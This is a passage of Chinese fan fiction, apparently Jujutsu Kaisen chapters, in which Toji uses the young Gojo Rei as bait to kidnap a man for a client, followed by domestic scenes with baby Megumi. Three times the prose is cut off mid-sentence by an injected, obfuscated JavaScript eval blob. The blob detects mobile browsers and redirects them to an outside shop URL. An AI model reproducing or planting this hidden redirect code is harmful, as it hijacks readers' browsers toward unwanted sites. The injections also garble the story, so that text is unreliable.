要只是被他骂一顿,都还算好的了,大不了厚着脸皮鼓起勇气多多道歉就好。也有可能会克扣她的伙食,但这都不打紧。 最糟糕的可能性,是他把自己打包丢出家里,然后她再度踏上流浪之路。说实在的,唯独这个未来她最无法接受了! 虽然真的很想实现小惠的心愿,但果然眼下还是容身之所比较重要。五条怜飞快地把一切放肆的念头收回心底,准备逃离现场。 恰是在迈出逃跑的第一步时,她听到了钥匙滑进锁孔的声音。 甚尔回来了。 回落的热血在这一瞬间再度飙升,重新来到顶峰。怀里沉得不行的小海胆也好像失去了实感,被紧紧抱住。 根本来不及思索了,五条怜撒腿狂奔,在甚尔开门的一秒钟前,成功跨过三个纸箱,来到了客厅的另一侧。 “……干嘛?” 甚尔眯起眼,把板正地站在被炉旁小声喘气的五条怜从头到脚扫了一遍。 “做什么亏心事了吗?” 她毫不犹豫,飞快摇头:“没有没有没有没有的事!” 这是实话没错,只是在心虚感的加持下,她的做派显得分外古怪。甚尔将信将疑地轻哼一声,没有追问更多了。 小屁孩罢了,就算真的闯祸,也肯定倒腾不出多么严重的后果。 他如此笃信着,收起了多余泛滥的操心,拿出夹在腋下的纸袋,在五条怜面前晃了晃。 “呶,拿着。”他说。 “好的好的。” 五条怜伸手去拿,指尖却怎么也碰不到纸袋。此刻上头的热血和肾上腺素全都消退了,怀中小海胆的重量倏地出现了,压得她整个人都往下坠了坠。托着这样的重担,就算是卯足了劲,她也伸不直手。 “先去把惠放好,然后再来拿。”甚尔无奈地撇着嘴,“你怎么像个呆瓜一样站着?” “嘿嘿嘿……” 无法否认,她确实是被莫须有的心虚感弄得迟钝了,只好尴尬地笑笑,把禅院惠好好放在床上,这才折返回来,接过纸袋。 棕黄色皱巴巴的牛皮纸包裹着什么柔软的东西,五条怜忍不住猜想,这会不会是给她的礼物。不过下一秒她就否定了自己的想法。 她还没做出任何值得被夸赞的事情,甚尔也绝不是会随便送礼物的那种人。所以装在纸袋里头的,大概是…… “……水手服?” 五条怜眨眨眼,有点意外。 这是一套水手服式样的秋季校服,深蓝色,很常见的款式,右侧胸口处绣着华丽的校徽,认不出是什么学校。领巾的内侧缝了一块白布,写着“姓名:田原柚子”,看来是曾隶属于田原柚子的校服。 理智告诉五条怜,不管甚尔递来的是什么,她都应该乖乖接受。可疑虑持续发酵,她忍不住问,这身校服用来做什么的。 “是完成新工作必不可少的道具。还有,明天会下雨。” 甚尔拿起遥控机,漫无目的地更换频道,说出口的话语似乎也带上了一点漫不经心的意味。 “所以,我们明天动手。” 15.协助工作 甚尔预报的天气准确无误,从次日午后开始,阴沉的天便落起了雨。 起初只是绵密的毛毛雨,两小时后转为中雨。过了不多久,人行道上溅起的水花都能算作一场不可忽视的小型降雨了。 又一个小时后,五条怜缩在暴雨的电话亭里,瑟瑟发抖。 ……好冷! 她没有带伞,刚才一路从车站跑到这儿躲雨,短短的几步路足够淋湿发梢了,宽大的灰色外套上也落满雨滴的深色痕迹,看起来真像是穿上了一件波点款式的衣服。这层薄薄衣物盖住了更薄的水手服,并不厚实的布料叠加在一起,压根留不住太多体温。 百褶裙也好短,她总忍不住想要把裙子往下扯扯,可这完全是无用功。双腿都已经光秃秃地暴露在早春的冷风里了,就算能够多盖住一厘米,也是无济于事。 都是为了工作。都是为了工作。 五条怜不停搓着手,在心里反复重申这一点。 根据甚尔所说,此次的委托是掳走某个中年男人——很普通的上班族,不是什么咒术师,所以不会是什么麻烦的工作。甚尔不想浪费太多时间和精力进行尾随跟踪,他的计划是让五条怜去当诱饵。 “你要假扮成可怜巴巴的高中生,明白了吗?”把目标对象的照片交到她手中时,他如此叮嘱着,“尽量装出那种无家可归的感觉。对你来说,这不是什么难事吧?” “唔……我明白了。好像确实不难。” 毕竟她当真经历过无家可归的日子嘛。 “但是。” 穿上校服之后,五条怜才意识到一个很重要的问题。 “我还没到上高中的年纪呢,会不会被识破?” “啊?” 甚尔扫了她一眼,真搞不懂她为什么要纠结这点小细节。 “虽然你是矮了点没错,但个子小的高中生也挺常见的。放心吧,只要穿着高中的校服,就绝不会有人怀疑的……哎!”他冲五条怜甩甩手,“你别穿这件羊皮夹克。不会有女高中生穿男款夹克去上学的。” “这样哦?” 五条怜赶紧脱下了常穿的这件外套,拢成一团放到边上,被冻了得打了个哈欠。 要是就这么穿着校服站在街头,估计还没等到目标咬钩,诱饵本人就已经被冻到发晕了。 所以,东京的女高中生,在冬天会穿什么样式的外套呢? 还没能成为JK的五条怜答不上来,这辈子都没办法成为JK的禅院甚尔更加给不出答案,毕竟他平常都不怎么留意街头的高中生——拜托,他又不是那种会对小屁孩感兴趣的变态。 在这个举足轻重的小问题上琢磨了一会儿,也把衣柜翻了个遍,最后唯一能和“女高中生”调性相符的,就只有现在五条怜穿在身上的这件灰色拉链卫衣了。 当然了,不适合早春的这件单薄衣服,能够实现的保暖功能无限趋近于零,但总好过没有。她原地蹦跶了几下,总算制造出了一些温暖。装在口袋里的手机也随之上下晃动,连带着百褶裙的裙摆也要飞起来了。 手机震了震。掏出来一看,是甚尔的短信。 「Toji:专心工作。」 居然是对她的督促。 我有在专心工作呀! 五条怜真想这么回复他。她的手指都已经搭在键盘上了,琢磨了半天,却不知道该怎么把心里的话拼写出来。 有点不好意思承认,但她真的不懂怎么操作这台小小的先进机器。 这是甚尔借给她用的旧手机,看起来比五条悟以前常用的那款更老一点,不过应该来自同一个品牌,开机时都会跳出紧握双手的动画。 说起来,阿悟的手机上还能玩游戏呢,是一条会无限变长的蛇在花园里绕来绕去,一旦碰到自己的身体便宣告游戏结束。她玩得不太好,每次game over时,都要被阿悟敲敲脑袋——他比自己还要懊恼。 只可惜,敲了脑袋也没能让她开窍,实在是…… ……哎呀,现在确实是没有在认真工作了。 五条怜把乱七八糟的念头同手机一起收进口袋里,回过头,对着街对面的居酒屋比了个“一切正常”的手势。 甚尔就在那间店里待机,肯定能看到她发出的讯号。 再四下看看。 临近傍晚,走在街头的人逐渐变多了,有西装笔挺的上班族(考虑到已经是下班的时间了,也许可以称呼为“下班族”?五条怜胡乱地想),也有活力十足的高中生(她们也穿着好短的裙子,一点都不冷吗?五条怜哆哆嗦嗦)。其他的路人,实在没办法从衣着打扮中猜出身份,她索性不猜了。 在这些人中,并没有看到目标对象的踪迹。 按照甚尔分享的情报,这条路是他下班的必经之路。难道是她看漏了?不不不。应该不太可能。 电话亭的玻璃上凝了一层水雾。用手抹开,在行人穿梭而过的空隙中,能看到街头巨大的广告牌。五条怜一直没怎么留意过,所以现在才迟迟地发现,这是即将发售的《最终幻想X-2》的宣传广告。 X……不是英文字母,而是罗马数字的“10”吧?最终幻想10-2,为什么不能叫最终幻想12?她不怎么玩游戏,有点搞不懂。 不过,能推出至少第十部续作,可真厉害。 五条怜对这个游戏的印象只有《最终幻想7》而已,和五条悟一起熬过了好几个深夜才通关——当然了,阿悟才是玩游戏的那个人,自己只是旁观而已,他们还一度为了主角到底是爱丽丝还是蒂法产生过小小的分歧。真该庆幸主角没有和任何一个女性角色在一起,于是他们的分歧也就失去了意义。 游戏推陈出新,她离开了家,五条悟就此成为了停留在去年的记忆,她不愿再回想了。就连第十部的续作,女主角也不再是爱丽丝或者蒂法,而是手握双枪的飒爽女性,五条怜认不出她是谁。 无所谓了。她想。 反正,她不会去玩这个游戏。 恍惚之间,广告牌上忽地扫过一团浅浅的反光,是街灯落在了抹满发油的脑袋上所映出的反光。五条怜找到了目标。 和照片上一样,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467073|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来看起来矮小又瘦弱的男人,三十多岁的模样,消瘦的脸颊上浮着一层暗沉的苍白色,低头走着,不太长的头发被发油抹得很服帖,衬得他像个脑袋小小的外星人。 和所有上班族(或是下班族)一样,他穿了深色的西装,撑开的透明雨伞拿在手中,被风吹得晃晃悠悠。 如此朴素而不起眼的他,几乎要淹没在路人之中,但五条怜发现了他。 口袋里的手机震了震,肯定是甚尔的催促短信——他也发现了目标。 无暇确认了。五条怜拿出手机,飞快拆开机身背后的塑料盖,换上一块完全没电的电池,推开电话亭的小门,步入雨中。 雨势没有丝毫减弱,只要在冷风中站上半分钟,就可以达成浑身湿透的可怜状态。再后退几步,蜷着身子躲在行道树小小的树荫下,可怜兮兮的女高中生就此诞生! 不保暖的外套在淋湿变得更加累赘,沉沉地往下坠。五条怜止不住地发抖,连牙齿都在打架。不只是寒冷作祟,她多少有点紧张。 而且,还有点扭曲的期待感? 无关紧要的行人从面前接连走过,谁也没有停下脚步,甚至不曾为她投来目光,这也很正常。独善其身是首都东京最鲜明的标签,居住于此的每一个人都在完美地履行这层印象。 五条怜低着头,仿佛专注地盯着地上的小石子,可余光却在留意着路上的一切动静。 她看到目标越来越近了,距离只有几米而已。发油气味越来越近,他的皮鞋已经步入视野之中。 然后,消失了。 和所有人一样,他也没有停下脚步。 ……诶。 诶——?!! 五条怜猛地抬头,从发梢甩落的水滴砸在了自己的脸上,好痛。但她已经顾不上这种小事了。 不对呀,他怎么就走过去了呀! “看到可怜巴巴的高中生,那家伙绝对会停下来的。”——甚尔明明是这么说的呀! 究竟是身为诱饵的自己不够诱人,还是甚尔的计划本就漏洞百出,答案早就不重要了。如果没办法让他停下的话,接下去的工作根本没办法继续,她的价值也会荡然无存的。 怎么办……怎么办怎么办怎么办。 五条怜想咬指甲,可手臂已经僵得抬不起来了。她也没有意识到自己的嘴角正在不受控制地微微抽搐着,她只在思考下一步的行动。 难道要追上目标,主动向他求助吗?算是合理的展开,但未免太刻意了,毕竟这男人一看就不是什么值得求助的靠谱家伙。 那么,重振旗鼓,下次再来?绝对不行。亟待求助的女子高中生又不是什么游戏npc,不会固定在每个下雨天的午后刷新出来的。 呃呃呃,总不能灰溜溜地跑回甚尔身边求助吧?要是真这么做了,绝对会挨骂的! 摇摆不定之际,发油的味道再度变得浓郁。皮鞋在视线一角停住,透明的伞挡住了大半雨水,低声的话语嚅嗫着从伞下传来。 “那个……你没事吧?” 鱼儿咬钩了。 16.直钩钓鱼 阴冷刺骨的风没有减弱,雨势也依旧猛烈。从枝头滚落的一颗巨大水珠砸向地面,碎裂的水花溅到了五条怜的腿上,好冷,所以她才颤抖得更厉害了。 绝不是因为窃喜,也没有在害怕,更加不是紧张作祟。她只是太冷了,嗯,就是这样! 暂且先把多余的情绪的借口推到一边去。现在可不是关心这种事情的时候。 五条怜慢吞吞地点着头,分外刻意地抿了抿唇,装作一副可怜模样,小声说:“没关系的……谢谢您,我没事。” 可不能一上来就表明自己有多可怜——甚尔是这么教她的。 虽然不知道其中蕴藏着什么道理,五条怜还是决定完美贯彻他的战术。 凭着余光,能瞥见到目标对象蹙了蹙眉,好像很心疼她,手中的伞也朝她靠近了一点。 “真的没事吗?”他又问了一遍。 差不多是时候了。 五条怜眯起眼,努力想要挤出一点眼泪,可惜没能成功。她甚至都开始在脑海里回想着人生十三年来的悲惨经历了,结果还是哭不出来。 ……算了! “呜……” 她替自己手动添加上了啜泣的音效,微微耸动肩膀,把演技拙劣的表情藏在额前垂落的碎发之下。 “我和家里人吵架了,再也回不了家了……”此处也要加上哽咽声,五条怜差点没能喘上气,“可是、可我没有带钱包,手机也没电了……” 她适时的在这时候掏出“没电”的手机。 “您……您能帮帮我吗?我想去朋友家里,可我连买车票的钱都没有。” “这样啊——” 目标对象似乎有些为难,抬手挠了挠后脑勺,把糊满发油的发丝扒拉出了咔嚓咔嚓的声响。 想了想,他说:“你的朋友住在哪儿?我带你去吧。或者,我们也可以去别的地方——别担心,我说的是个慈善组织,那里会接收离家出走的孩子。可以吗?” 他说出的话,果然和甚尔预测的一样呢。所以她知道怎么回答才合适。 “不用了,我不能太麻烦您。”她摇摇头,“请您带我去朋友家吧,她就住在锦糸町车站附近。” “好,我们走吧。” 雨水砸在撑起的透明伞面上,啪嗒啪嗒,恼人的声响。 伞下的空间完全开放,却也无限封闭,社交距离的概念被无尽压缩。明明都是第一次见面的陌生人,在这把伞下却要像相熟的好友那样亲近,五条怜不得不缩着肩膀,每一步都走得好别扭。对方会觉得别扭吗?她猜不出来。 只能看到他始终绷着脸,鼻翼小幅度地翕动着,像是动物在大口大口呼吸。 说到底,人类也只是动物而已。她想。 直走,在第二个路口拐弯,而后再接着直行几百米,就是车站了,来时她就是走的这条路线。但在第一个路口,男人停住了脚步。 “我们从这儿走吧。”他指着一条窄窄的小路,“这是条近道,而且不容易淋到雨——有雨棚的。” 这句话,也是意料之中。 五条怜知道她的工作进行得很顺利,所以她不会拒绝,点点头,与他步入小路之中。 此处是建筑物的夹缝,充盈着不太好闻的潮湿气味,地上积了一汪一汪的水洼,被外墙间落入的雨水撞出涟漪。 临近傍晚,还未到街灯亮起的时间,四下黑黢黢的,但能看到眼前并无一块雨棚。五条怜能感觉到男人的手臂碰到了自己的肩膀,一股奇怪的感觉。 更奇怪的是,区区片刻之后,他的手臂搭在了她的肩上,僵硬的,带着莫名的寒意。 “伞太小了,对吧?”男人讪笑着说。 “……是啊。” 五条怜只觉得后背发毛, 到了这一刻,社交距离彻底不存在了,他似乎也在试着压缩他所处的空间,脚步有意无意地向她偏移。才走了几步而已,她几乎要被挤压得贴在墙上。风吹起了红色领巾,缝在内侧的名字露在风中,落进他的眼底。 “你叫柚子?”他挤出微笑,开始打量起她,“是个和你很配的名字呢。” “……是吗?” “嗯。你的头发和柚子瓤一样,都是白色的,不是吗?” “哈哈,是呢。” 说的很有道理,但她不叫柚子。 她的名字是怜。 因为是无法被爱的可怜的存在,所以她叫做“怜”。 “呐。” 他是不是靠得更近了些?能感觉到他的吐息,带着浑浊的燥热感,很难闻。 五条怜别开脑袋,可话语还是钻进了耳朵里。 “你多大了?” “我——” 该说谎吗,还是坦白?这个问题,甚尔没教过她呀! 心跳好快,颤栗也猛烈。现在必须承认,她有点害怕了。她看着男人笑眯眯,他的笑容似乎有点扭曲。下一秒,扭曲的笑脸消失了。 目标男人瘫倒在地,雨水和伞随之一起砸在了她的脑袋上。好冷。 “好。一切顺利。” 熟悉的声音。 五条怜侧首,甚尔就站在身后。 他也被雨淋得湿透,伸手拿走了斜斜地搭在她脑袋上的伞,只撑在了自己的头顶。不过没关系。她这会儿完全忘记下雨的这回事了。 真是……完美的登场! 社交距离重新构筑,安全感也彻底回来了。紧绷的神经终于可以完全放松下来,五条怜真想瘫在地上喘几口气——没这么做的原因当然是地上太脏了。 “好了好了,别偷懒,也别松懈。”甚尔收起伞,夹在臂弯间,催她快点动起来,“还要把他送到委托人家里去,否则我们拿不到钱。” “好的好的好的。” 拍拍脸,重新提起干劲吧! 甚尔轻巧地扛起男人上半身,指挥着五条怜把他的脚提起来,可她看起来有点不情不愿的。 “甚尔先生,他的鞋子好脏哦……” 她委屈巴巴地嘀咕着。 在雨天的路上走了这么久,还拐进了脏兮兮的小路里,男人的棕色皮鞋上沾满泥污,还臭烘烘的。五条怜真下不去手。 这也要计较吗?甚尔真搞不懂她的想法。 “别再这时候发挥你的洁癖啊,大小姐。”他无奈叹气,“快干活。” 五条怜痛苦地皱着脸:“求您别叫我大小姐了。” “赶紧把这家伙扛起来,我就不说‘大小姐’这词了。” 不得不说,这实在不是什么值当的交易,可惜也没多少选择的余地。 她彻底死心了,闭起眼,屏住呼吸,用力抓住男人的脚踝,往上一提。 现在,总算是步入正轨了。 目标对象会拐进这条小路,也完全在甚尔的预估之中。他早早地把租来的车停在了小路的尽头,后备箱大敞。倒数一二三,把男人丢进去。用不着捆住手脚,在打晕他的时候,甚尔特地控制了力度,这家伙三小时内绝对不会醒过来。 三小时,如此充足的时间,足够把他带到委托人那里去了。 开车上路,驶入高速。 甚尔租的是的最便宜的破车,收音机完全没用,空调也烂到不行,暖风微弱得如同鼻息,弥漫在车里的只有轰隆轰隆的马达声,汽油燃烧的刺鼻异味闻着让人难受。五条怜倒是不再发抖了,可能是因为身上湿漉漉的衣物终于与体温同化。 驶上横跨东京湾的彩虹桥,车里总算是暖和起来了。外头的雨也停了,透过水渍斑斑的车窗,能看到立在黑色大楼之间的东京塔,如此鲜明而尖锐的明亮红色。五条怜收回目光,试着打开收音机,可扬声器里只有嘈杂的电流声,只能再次关闭。 距离终点可能还有一小时,或者是更短的时间,她不知道答案。沉闷的氛围会把漫长的车程拉拽得更长的。想了想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14473964|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她决定说点什么——正好,她心怀疑惑。 “甚尔先生,他……”她指的当然是后备箱里的那个家伙了,“是个坏人吗?” “算是吧。”甚尔给出了一个奇妙的答案,“但不管是好还是坏,都不重要。我只会照委托做事。” “哦……” 他原来是这么想的呀。 五条怜其实有些意外,但她决定不要大惊小怪。 “不过,我觉得他不是什么好人。”她嘀咕着说起今天的经历,也像是为了说服自己,“走进小路之后,他总想要往我身边靠,这很怪吧,对不对,甚尔先生?他说话的腔调也有点怪。” “要是你再和他多说几句,他就会把手伸进你的裙子里了。” “……诶?” 空调风偏偏在这时候不合时宜地加大功率,她赶紧用手按住裙摆,只余下脸颊被暖风吹得发烫。 “那……”她小心翼翼地问,“他是变态?” “百分之百的变态。” “好吧……委托人会对他做什么呢?” “不知道,你别关心这种事。” “哦。” 好奇没能被完全解答,但至少知道了,把他抓走完全是天经地义的事情! 心里最后的一点罪恶感消失无踪,她瞬间坦然了。 驶离东京后不多久,目的地的别墅出现在车灯前。 五条怜坐在车里,看着甚尔把那男人从后备箱搬出来。隔着一层玻璃,听不见他在和委托人说什么,不过她切实地看到甚尔收下了一个厚厚的信封,看来任务是圆满完成了。男人被带进黑漆漆的别墅里,甚尔也回到了车上,按亮顶灯,开始数钱。 哗啦哗啦哗啦——钞票的声响好像流水。 “付钱果然大方。孔时雨这家伙总算给我介绍了一回好工作。”他抽出几张纸币,递给五条怜,“呶,给你。” 五条怜愣了愣,迟钝地反应过来:“我不需要报酬的!” 他把钞票丢进她手里:“零花钱而已。” 他可不是那种抠门男人。 “拿着吧。我们赶紧回家了。” 被这么催促着,五条怜彻底失去了推辞的余地,只好收下了钱,小声说了句“谢谢您”。 行驶在黑夜里,再次跨过彩虹桥。离家还有一段距离,饥饿虫已经叫个不停了——他们俩的肚子都在叫。 那就先停一停,找点东西吃吧。 最近的店铺是连锁披萨店,听起来似乎不是大赚一笔之后最适合的享乐场所,但至少他们可以点上最豪横的芝士卷边海陆双拼披萨,小食也能吃个尽兴。他们谁也不知道,独自在家的禅院惠已经饿到要吃枕头了。回家发现这回事的五条怜罪恶感大爆发,没能挤出来的眼泪总算要在这时候冒出来了。 “对不起对不起!我出门前忘记喂你了!”她哆哆嗦嗦地把禅院惠抱起来,“你不要哭了好不好?……啊!不能咬我呀,我可不是什么能吃的东西!” 甚尔看着她手忙脚乱,慌慌张张的忙活的模样真像是要跳起一支急躁的舞步,一不小心被地上的脏衣篓绊倒,摔得好惨。她匆忙站起,顾不得拍去灰尘了,只把碍事的篓子往旁边一推,然后又手忙脚乱起来了。 把麻烦东西推到一旁去,是他的坏习惯,所以这个家变成了乱糟糟的模样。五条怜有样学样,也沾染上了他的恶习。 明明从前不是这样的。 以前还是正常的家,以前也曾有过充满期待的人生,如今似乎全都堆在了一团杂乱里。 家里满满当当,吃得太饱的胃在沉沉下坠,钱包也终于鼓了起来,只有他空空荡荡,皮囊底下包裹着一团难以名状的污秽的堕落。 那人死去已经多久了?想不起来了,也不愿意去想。 是不是不能继续这么放纵下去了?可能吧,他不知道。 事已至此,先睡觉吧。 甚尔钻进被炉。 17.正体不明 睡得迷迷糊糊,就在快要触碰到梦境边缘之际——虽然还不确定究竟会做个美梦还是无比糟糕的噩梦——甚尔忽然感觉到有什么柔软的东西贴在了脸上,伴随着唔呀唔呀的熟悉声响。还能感觉到有什么东西正在戳他的肩膀。 起初只是轻轻一戳,不多就便成了狂风骤雨般的连续猛戳,他的骨头都要开始痛起来了。 啊,好麻烦…… 甚尔别过头去,用拙劣的演技继续装睡,可戳来戳去的这根手指怎么都没有停下。他实在装不下去了。 睁开眼。毫不意外,在骚扰着他的就是五条怜,以及她怀里探身向自己靠过来的小海胆禅院惠。 “干嘛?”他摸摸鼻子,顺便扫走了禅院惠动来动去不安分的小手,“怎么老来烦我。” 她抱歉地笑笑,不着痕迹地把小海胆往他怀里推:“能麻烦您抱他一会儿吗?我腾不出手冲奶粉了。” 甚尔看起来不太乐意,还说:“放在沙发上不就行了?” “可我一放下他就哭。”五条怜板起脸,很认真地向他称述了一个悲伤的事实,“禅院先生,您的孩子已经学会用眼泪当武器了!” “……?” 甚尔眯起眼,打量着一本正经的她,又垂眸看了看想往自己怀里拱的小海胆,一脸无奈。 讲道理,他真心觉得五条怜这话说得夸张了,但实在无法否认,因为事实好像真是这样没错。 撇撇嘴,姑且算是把最后一点不情不愿给发泄掉了。他不说什么,只招招手,任由她把小海胆放进臂弯里。 虽然嘴上总不饶人,但他还是很好说话的嘛。五条怜在心里暗戳戳地想着。 甚尔当然不知道她在想什么,也完全不晓得自己在对方的心中已经贴上了“好说话”的标签。 慢吞吞的,他坐起身来,差点让禅院惠从身上滑下去,幸好被他及时兜住。而闯祸的小海胆毫无危机感,努力地伸直了手,想要抓他的头发玩。他无奈地弓起身子,把自己的身高压缩了些,任由肉乎乎的小手在耳边动来动去。 把自己化身为巨大的婴儿玩具,难免会有些无趣——实际上是相当无趣。甚尔左右瞄了瞄,视线落到了五条怜的身上。 没有了闹腾的小小负担,她的脚步都变得轻快了不少,一路小跑到婴儿床边的小桌子旁,脚步声听起来也是清脆的哒哒哒,驾轻就熟地轮流拿起一堆东西开始摆弄,看来她终于快要成为带孩子的熟练工了,虽然直到现在甚尔也不确定让一个小屁孩照顾另一个小屁孩是不是好事。 打个懒洋洋的哈欠,顺便把怀里的禅院惠往上提一提。有些奇怪,他似乎看到五条怜的动作僵住了。 不,不是“似乎”,而是“确实”。 就像按下了暂停按钮,她变成了一道完全不动弹的剪影,连呼吸都停下了,只有瞳孔在微微颤抖着,紧盯住客厅一角。不知道是不是幻听了,角落里貌似有极微弱的咔嚓咔嚓声,片刻后就消失了。 考虑到乱糟糟的家里可能会出现的东西,甚尔默默移开了视线,决定把这声音当作幻听。 逃避事实显然不是什么靠谱的做法。才刚从“家里存在着除了人类以外的生物”这一念头中剥离,忽地听到急促的脚步声朝自己冲过来——好消息是,这回总算是人类闹出的动静了。 并且是名为五条怜的人类,左右捧着奶粉罐,右手攥住奶瓶,一路狂奔到他身边,脸色比她一路上洒落的几摊奶粉还要更加苍白。 “甚甚甚甚尔先生!”结结巴巴,颤颤巍巍,连头发都紧张到立起来了,“刚刚,有个黑色的东西,好大,从客厅里跑过去了!” 甚尔疲惫地揉揉眉心。 说实在的,他还是不想面对这个噩耗。可眼前的小姑娘都害怕到快要抓着他掉眼泪了——当然了,她并没有真的抓住他的手臂也,没有真的哭出来,估计是因为甚尔本人比他家里的莫名生物更恐怖一点吧——这样的现状摆在眼前,他大概没办法再维持神游天外的状态了。 看看疑似怪异生物出没的客厅一角,再看看哆哆嗦嗦很想躲到自己身边但还是坚持着挺直后背的五条怜,他忍不住叹了口气。 “是看到老鼠了吗?”他问。 “老鼠?唔……好像不是,没有那么大。应该是……” 五条怜伸出手来,想要比划出自己所见到的那个诡异生物的大小,可手里都是东西,实在腾不出空来,只好努力地抬起手,竖起大拇指给他看。 “比这还大!”她夸张地瞪着眼,“像是一只黑色的虫子,跑得很快,一下子就没影了!” “哦?” 甚尔沉默。甚尔思索。甚尔质疑。 “我家不可能有蟑螂。” 甚尔如此断言。 现在,落进“沉默——思索——质疑”循环中的那方,变成了五条怜,只是她实在没法直白地把“蟑螂就是喜欢生活在你家这种乱糟糟的环境里!”这一结论说出口。 既然甚尔本人不愿承认蟑螂出现的事实,那只虫子也就没办法被定义为蟑螂了,暂且称之为“巨大黑虫无名氏”吧。 改变名字并不能改变虫子本身的存在,对于虫子的恐惧之心更不可能轻易消失。五条怜还是窝在他旁边,紧紧抱着手里的东西,一动不动,像尊雕像,连小海胆在咬她的衣服都没发现,直到被他喊了一声,才像是猛然回过神来。 “怎怎怎、怎么了?” 一开口,还是结结巴巴的。 甚尔苦闷地挠挠头:“你打算一直坐在这里了?不是还有事情要干的嘛。” 他指的当然是喂饱小海胆这桩紧迫的麻烦活。五条怜对此心知肚明,但并不影响她哆哆嗦嗦,一副快哭出来的模样。 “呜……我不敢走过去了……” “……啊?” 太没骨气了吧你! 甚尔在心里不爽地埋怨着,可说实在的,在五条怜因为恐惧而丢下育儿重则的当下,他也不乐意重新拾起喂孩子的苦活,左右权衡了一下,只能罢休了抱怨的想法。 “行吧行吧。”他无奈地叹气,“我明天会找个清洁公司过来除虫的。” “真的吗?”这下是五条怜是真的要哭出来了,“谢谢您!” “所以你现在可以过去了吧?” “呃——” 感动和感激一下子全憋回去了。五条怜僵着面孔,一切尽在不言中。 好嘛,果然是个很没骨气的家伙。 甚尔依然无奈,也依然无法把怨念说出口,所以他依然妥协了。 “我陪你一起过去,这样子总可以了吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14481626|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “真的吗?”她简直难以置信,“谢谢您,救世主!” “嗯。但你怎么总质疑我?” “没……没有质疑的意思!嘿嘿嘿……” 五条怜尴尬地笑了笑,默默把一贯的口癖收回了心里,紧跟在甚尔的身旁,一步一步朝婴儿床的方向挪过去。 有壮硕且靠谱的成年人陪伴着,恐惧感确实轻而易举地飞走了。她的每一步都走得分外踏实,早先还飘忽不定的心虚也瞬间安稳下来了。 别说是虫子了,现在就算是冒出一只鬼怪,她也绝不会吓到手足无措了!——话虽如此,鬼怪什么的还是别出现了。 五条怜开始冲泡奶粉,然后东张西望。 她抱起禅院惠喂奶,并且东张西望。 她晃悠着小海胆进行哄睡工作,继续东张西望。 甚尔被她晃得头晕了。 “在看什么呢?”他痛苦得闭起眼,“你就这么站不定吗?” “唔……我怕虫子跑出来。” “行吧……” 甚尔罢休了,算是彻底被她的不安和恐惧折服了,决定自此当个不动脑子的驱虫吉祥物。 不知道是吉祥物效果太好,还是虫子躲得更好,在这个夜晚,虫子再也没有露面过一回。尽管如此,五条怜还是紧紧贴在他身旁,跟着他走来走去,即便他睡进被炉里了,她依旧坐在身旁不远处,目光也紧盯自己。甚尔也依旧保持着不动脑子的状态,装作压根没看到她,倒头就呼呼大睡。 一觉醒来,果不其然,她还坐在旁边呢。 不过嘛,要让一个小屁孩清醒地熬过一整夜,可不是什么容易事。 五条怜早就睡着了,保持着他入睡前所看到的那副抱膝团坐的姿势,脑袋歪歪地靠在膝盖上,肉乎乎的脸颊都被挤压得变了形,真像是快要融化的大福团子。 能在这副姿势下入睡,可谓是个奇迹。不过,她似乎睡得不太安稳,总是不受控制地左右晃着,仿佛坐在船上。但不管怎么摇晃,她居然不会翻倒,脸颊也稳固地粘在膝盖上,如同不倒翁。 甚尔默默看了一会儿,抬起手,把绷紧的中指弹在她的脑门上。 先是清亮的一声“嘣——”,而后是尖锐的一声“呀!”,不倒翁的平衡感完全崩塌,轱辘轱辘翻倒在地。 “啊痛痛痛痛……” 五条怜艰难地扶着地板坐起来。 刚才那下摔得可谓惨烈,睡意被彻底赶走,肩膀后背也几乎快要散架,被猛弹了一下的脑门隐隐作痛,她都不知道该捂住哪边才比较合适了。 至于始作俑者甚尔嘛,他仍无比自在地躺着,嘴角似乎扬起了一点窃喜的弧度。 考虑到他一贯是不笑的,五条怜勉强忍住了心里的怨念——当然了,也没办法不忍。 “今天会找人来驱虫。”还是说点正事吧,“对不对,甚尔先生?” “啊——”甚尔用拳头轻轻敲打脑门。 说实在的,一觉睡醒之后,他已经把昨晚的允诺忘得七七八八了。 “行吧行吧。”他也不推辞了,“马上就找。” “谢谢您。其实呢,我在想……” 甚尔放下手,转头看她:“想什么?” “在想,是不是应该把您的家收拾一下比较好?” 18.大型清理 昨天还想着是不是应当收拾下家里,没想到才过了几个小时,甚尔的想法就被五条怜直接说出来了。现在他也忍不住开始怀疑五条怜是不是能够看穿自己的内心了。 还好,这点小小疑问只持续了不到半秒钟,甚尔的疑虑就打消了。 